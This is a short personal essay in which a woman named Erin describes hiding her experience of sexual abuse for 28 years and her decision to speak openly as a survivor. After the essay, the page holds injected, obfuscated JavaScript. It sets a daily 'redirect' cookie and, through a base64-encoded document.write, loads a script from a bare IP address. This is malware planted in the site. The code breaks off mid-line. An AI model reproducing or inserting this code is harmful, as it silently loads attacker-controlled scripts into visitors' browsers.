For 28 years, I hid my face in the shadows for fear of the consequences that could come from openly sharing the ugly truth that I was sexually abused. I did not want to speak those words in the presence of people who knew me because I feared they would see me as less, that I would have to deal with accusations and questions from my family, or even worse, someone would find some type of sick pleasure from my pain.
Yet, in recent months I have realized one truth that is greater than any of my fears: To hide in the shadows is to help my abusers hide their shame, which in turn puts others in danger as well. Hiding also allows the people to go on believing that sexual abuse doesn’t happen to people they know, and therefore, lulls them into thinking the subject can be swept under the rug.
I have spent the last 13 years advocating for and encouraging survivors from the comfort of my own anonymity. However, I will no longer hide my face because I want the world to know that we are not just statistics on a page.
I am Erin, I am a survivor, and I am silent no more. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘